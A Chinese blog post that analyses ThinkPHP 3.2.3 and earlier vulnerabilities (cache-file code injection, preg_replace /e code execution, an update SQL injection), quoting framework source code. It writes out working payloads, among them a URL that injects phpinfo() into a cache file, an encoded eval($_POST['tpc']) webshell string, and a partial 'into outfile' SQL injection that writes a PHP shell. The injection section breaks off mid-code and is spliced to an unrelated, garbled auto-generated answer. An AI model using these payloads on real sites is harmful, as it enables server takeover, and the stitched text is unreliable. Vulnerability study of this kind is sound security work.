Thinkphp3.2.3及以下版本漏洞整理

本文详细分析了ThinkPHP 3.2.3及其以下版本的多个安全漏洞,包括RCE(远程代码执行)如缓存函数设计缺陷,SQL注入如update、find、delete操作中的漏洞,以及反序列化漏洞。通过实例复现,揭示了攻击者如何利用这些漏洞进行代码执行和数据库操作。对于开发者而言,了解这些漏洞有助于提高系统的安全性。
摘要由CSDN通过智能技术生成

更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一

中间件漏洞

一.RCE

ThinkPHP3.2.3缓存函数设计缺陷可导致代码执行

概述
网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。

而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能。

就是缓存函数设计不严格,导致攻击者可以插入恶意代码,直接getshell。

实验环境

redhat6+apache2+Mysql+php5+thinkphp3.2.3

漏洞利用
将 application/index/controller/Index.php 文件中代码更改如下:

 <?php



namespace app\index\controller;




 use think\Cache;

 class Index

 {
   

 public function index()

 {
   

 Cache::set("name",input("get.username"));

 return 'Cache success';

 }

 }

访问 http://localhost/tpdemo/public/?username=xxx%0d%0aphpinfo();//, 即可将 webshell 等写入缓存文件。

图片

图片

漏洞分析

先找到Cache.class.php文件,也就是缓存文件,关键代码:

/**

     * 连接缓存

     * @access public

     * @param string $type 缓存类型

     * @param array $options  配置数组

     * @return object

     */

    public function connect($type='',$options=array()) {
   

        if(empty($type))  $type = C('DATA_CACHE_TYPE');

        $class  =   strpos($type,'\\')? $type : 'Think\\Cache\\Driver\\'.ucwords(strtolower($type));

        if(class_exists($class))

            $cache = new $class($options);

        else

            E(L('_CACHE_TYPE_INVALID_').':'.$type);

        return $cache;

这里读入配置,获取实例化的一个类的路径,路径是:Think\Cache\Driver\

这里我尝试了var_dump($class)和echo $class直接浏览器访问Cache.class.php都无法像那篇帖子一样打印出$class,后来才发现添加数据写入缓存页面跳转才打印了Think\Cache\Driver\File

关键代码:

/**

     * 取得缓存类实例

     * @static

     * @access public

     * @return mixed

     */

    static function getInstance($type='',$options=array()) {
   

        static $_instance   =   array();

        $guid   =   $type.to_guid_string($options);

        if(!isset($_instance[$guid])){
   

            $obj    =   new Cache();

            $_instance[$guid]   =   $obj->connect($type,$options);

        }

        return $_instance[$guid];

    }

    public function __get($name) {
   

        return $this->get($name);

    }

    public function __set($name,$value) {
   

        return $this->set($name,$value);

    }

    public function __unset($name) {
   

        $this->rm($name);

    }

    public function setOptions($name,$value) {
   

        $this->options[$name]   =   $value;

    }

    public function getOptions($name) {
   

        return $this->options[$name];

    }

这里实例化了那个类,我们重点关注set方法,接着直接找到这个路径下的File.class.php吧。

关键代码:

public function set($name,$value,$expire=null) {
   

        N('cache_write',1);

        if(is_null($expire)) {
   

            $expire =  $this->options['expire'];

        }

        $filename   =   $this->filename($name);

        $data   =   serialize($value);

        if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
   

            //数据压缩

            $data   =   gzcompress($data,3);

        }

        if(C('DATA_CACHE_CHECK')) {
   //开启数据校验

            $check  =  md5($data);

        }else {
   

            $check  =  '';

        }

        $data    = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";

        $result  =   file_put_contents($filename,$data);

        if($result) {
   

            if($this->options['length']>0) {
   

                // 记录缓存队列

                $this->queue($name);

            }

            clearstatcache();

            return true;

        }else {
   

            return false;

        }

}

这就是写入缓存的set方法,对传入的数据进行了序列化和压缩,
重点看这两句:

$data    =<?php\n//”.sprintf(‘%012d’,$expire).$check.$data.”\n?>;

$result  =   file_put_contents($filename,$data);

简单拼接一下就写入文件了,Bug就出现在这里,这时来看看我们
payload:

%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f

解码后就是:

换行+eval(%_POST[‘tpc’]);//

就写入恶意代码了。
最后看看文件名:

/**

     * 取得变量的存储文件名

     * @access private

     * @param string $name 缓存变量名

     * @return string

     */

    private function filename($name) {
   

        $name   =   md5(C('DATA_CACHE_KEY').$name);

        if(C('DATA_CACHE_SUBDIR')) {
   

            // 使用子目录

            $dir   ='';

            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
   

                $dir    .=  $name{
   $i}.'/';

            }

            if(!is_dir($this->options['temp'].$dir)) {
   

                mkdir($this->options['temp'].$dir,0755,true);

            }

            $filename   =   $dir.$this->options['prefix'].$name.'.php';

        }else{
   

            $filename   =   $this->options['prefix'].$name.'.php';

        }

        return $this->options['temp'].$filename;

}

文件名就是md5加密值。

总结:这个thinkphp缓存函数设计bug,利用起来不难,但是感觉还是挺鸡肋。

原因是:

1.要开启缓存

2.虽然文件名是md5固定值,但是TP3可以设置 DATA_CACHE_KEY 参数来避免被猜到缓存文件名

3.缓存使用文件方式

4.缓存目录暴露在web目录下面可被攻击者访问。

Thinkphp 2.x、3.0-3.1版代码执行漏洞

漏洞分析

影响版本Thinkphp 2.x、3.0-3.1

$depr = '\/';

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这段代码主要就是用explode把url拆开,然后再用implode函数拼接起来,接着带入到preg_replace`里面。

preg_replace的/e模式,和php双引号都能导致代码执行的。

这句正则简化后就是 /(\w+)\/([^\/\/]+)/e
注:\w+ 表示匹配任意长的[字母数字下划线]字符串,然后匹配 / 符号,再匹配除了/符号以外的字符。其实就是匹配连续的两个参数。

eg:www.dawn.com/index.php?s=1/2/3/4/5/6

每次匹配 1和2,3和4,5和6。、

\1是取第一个括号里的匹配结果,\2是取第二个括号里的匹配结果

也就是\1 取的是 1 3 5,\2 取的是 2 4 6。

那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。

而双引号是存在在 \2 外面的,那么就说明我们要控制的是偶数位的参数。
环境较为难找,本地模拟一下

漏洞复现

本地模拟:

<?php

$var = array();

preg_replace("/(\w+)\/([^\/\/]+)/ie",'$var[\'\\1\']="\\2";',$_GET[s]);

?>

图片

二.注入

ThinkPHP3.2.3update注入漏洞

概述
thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,

其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列

由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。

漏洞分析

thinkphp系列框架过滤表达式注入多半采用I函数去调用think_filter

function think_filter(&$value){
   

    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

一般按照官方的写法,thinkphp提供了数据库链式操作,其中包含连贯操作和curd操作。

在进行数据库CURD操作去更新数据的时候,利用update数据操作。

图片

where来制定主键的数值,save方法去更新变量传进来的参数到数据库的指定位置。

  public function where($where,$parse=null){
   

            if(!is_null($parse) && is_string($where)) {
   

                if(!is_array($parse)) {
   

                    $parse = func_get_args();

                    array_shift($parse);

                }

                $parse = array_map(array($this->db,'escapeString'),$parse);

                $where =   vsprintf($where,$parse);

            }elseif(is_object($where)){
   

                $where  =   get_object_vars($where);

            }

            if(is_string($where) && '' != $where){
   

                $map    =   array();

                $map['_string']   =   $where;

                $where  =   $map;

            }       

            if(isset(
根据引用中提供的信息,ThinkPHP3.2.x存在一个RCE(远程代码执行)漏洞。根据引用中的描述,我们可以通过控制`$this->img`变量来找到`destroy()`函数。在`ThinkPHP/Library/Think/Session/Driver/Memcache.class.php`文件中的`Memcache`类的`destroy()`函数中可以找到这个函数。请注意,如果使用PHP7,在调用有参函数但没有传入参数的情况下会报错,因此应该使用PHP5而不是PHP7。具体的漏洞利用方法是,在URL中注入`?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [wp 篇 DASCTF Thinkphp 3.2.3RCE复现](https://blog.csdn.net/weixin_46203060/article/details/119532553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【安全漏洞ThinkPHP 3.2.3 漏洞复现](https://blog.csdn.net/2201_75857869/article/details/129316463)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值